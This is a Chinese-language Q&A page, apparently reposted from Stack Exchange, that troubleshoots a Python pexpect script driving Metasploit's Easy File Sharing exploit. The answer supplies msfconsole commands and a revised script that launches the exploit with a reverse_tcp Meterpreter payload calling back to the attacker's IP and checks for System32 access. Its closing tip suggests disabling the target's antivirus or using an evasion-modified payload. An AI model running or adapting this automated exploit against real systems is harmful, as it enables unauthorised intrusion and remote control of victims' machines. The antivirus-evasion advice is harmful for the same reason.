You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

使用pexpect调用msfconsole执行漏洞利用后无法继续交互的问题排查

分析与解决你的反向TCP Shell自动化问题

首先明确一点:你遇到的pexpect.exceptions.TIMEOUT不是字符串与字节类型不匹配导致的——pexpect的expect方法会自动将传入的字符串转换为字节串进行匹配。真正的核心问题从日志里已经清晰可见:

[*] Exploit completed, but no session was created.

也就是说Metasploit的exploit执行完毕,但根本没成功建立Meterpreter会话,你的代码一直在等待不存在的"Meterpreter session 1 opened",最终超时报错。

下面分步骤排查和解决问题:

1. 先确认目标环境的有效性

这是攻击成功的核心前提:

  • 目标机器确实运行着存在漏洞的旧版本Easy File Sharing(该exploit对应6.3及更早版本),如果目标软件版本修复了漏洞,攻击自然无法成功。
  • 目标机器的防火墙/杀毒软件没有拦截出站TCP连接:你使用的reverse_tcp payload需要目标主动发起连接到你的攻击机(日志显示监听IP为192.168.1.102:4444),要确保:
    • 你的攻击机4444端口未被本地防火墙拦截。
    • 目标机器能正常访问192.168.1.102(比如处于同一局域网,没有路由或ACL限制)。

2. 手动验证Metasploit命令的有效性

先脱离Python代码,直接在终端手动执行命令,确认exploit本身是否能成功:

msfconsole -q
use exploit/windows/http/easyfilesharing_post
set RHOSTS 192.168.1.86
set LHOST 192.168.1.102  # 明确指定攻击机IP,避免Metasploit自动选择错误网卡
run

如果手动执行也显示"no session was created",说明问题出在目标环境或exploit配置,和你的Python代码无关;如果手动能成功拿到会话,再回到代码层面排查。

3. 优化你的pexpect代码

假设手动执行能成功,你的代码有几个可以优化的点:

  • 明确设置LHOST:原代码未指定LHOST,Metasploit可能自动选择了目标无法访问的IP(比如localhost),导致反向连接失败。
  • 更灵活的匹配规则:会话编号不一定是1,用正则表达式匹配任意编号更可靠。
  • 安全的参数传递:用列表传递spawn的参数,避免字符串拼接的引号转义问题。
  • 处理失败场景:增加对"no session was created"的匹配,提前判断攻击失败,避免不必要的超时等待。

优化后的代码示例:

import pexpect
import re

def executeEasyFileSharing(target):
    attack_ip = "192.168.1.102"  # 替换为你的攻击机实际IP
    msf_cmd = f"use exploit/windows/http/easyfilesharing_post; set rhosts {target[1]}; set lhost {attack_ip}; run"
    
    print(f"Executing msfconsole command: {msf_cmd}")
    print("Starting Metasploit...")
    
    # 用列表传参避免引号转义问题
    child = pexpect.spawn("msfconsole", ["-q", "-x", msf_cmd])
    
    # 写入日志文件
    with open('mylog.txt', 'wb') as fout:
        child.logfile = fout
        
        # 同时匹配成功和失败的场景
        match_patterns = [
            re.compile(b"Meterpreter session \d+ opened"),  # 正则匹配任意会话编号
            b"Exploit completed, but no session was created"
        ]
        
        try:
            match_idx = child.expect(match_patterns, timeout=300)
            if match_idx == 0:
                print("Success! Meterpreter session opened.")
                # 验证系统权限
                child.sendline("pwd")
                child.expect(b"C:\\WINDOWS\\System32", timeout=300)
                print("Confirmed access to System32 directory.")
            elif match_idx == 1:
                print("Exploit ran but no session created. Check target environment or Metasploit config.")
        except pexpect.TIMEOUT:
            print("Timeout waiting for Metasploit response. Check mylog.txt for details.")

额外提示

  • 查看mylog.txt的完整内容,Metasploit可能会给出更详细的失败原因(比如目标无响应、payload执行被拦截等)。
  • 如果目标是Windows机器,部分杀毒软件会拦截Meterpreter payload,可尝试关闭目标杀毒软件做测试,或使用免杀版本的payload。

内容的提问来源于stack exchange,提问作者Ivey Hussler

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.04.28 13:59:15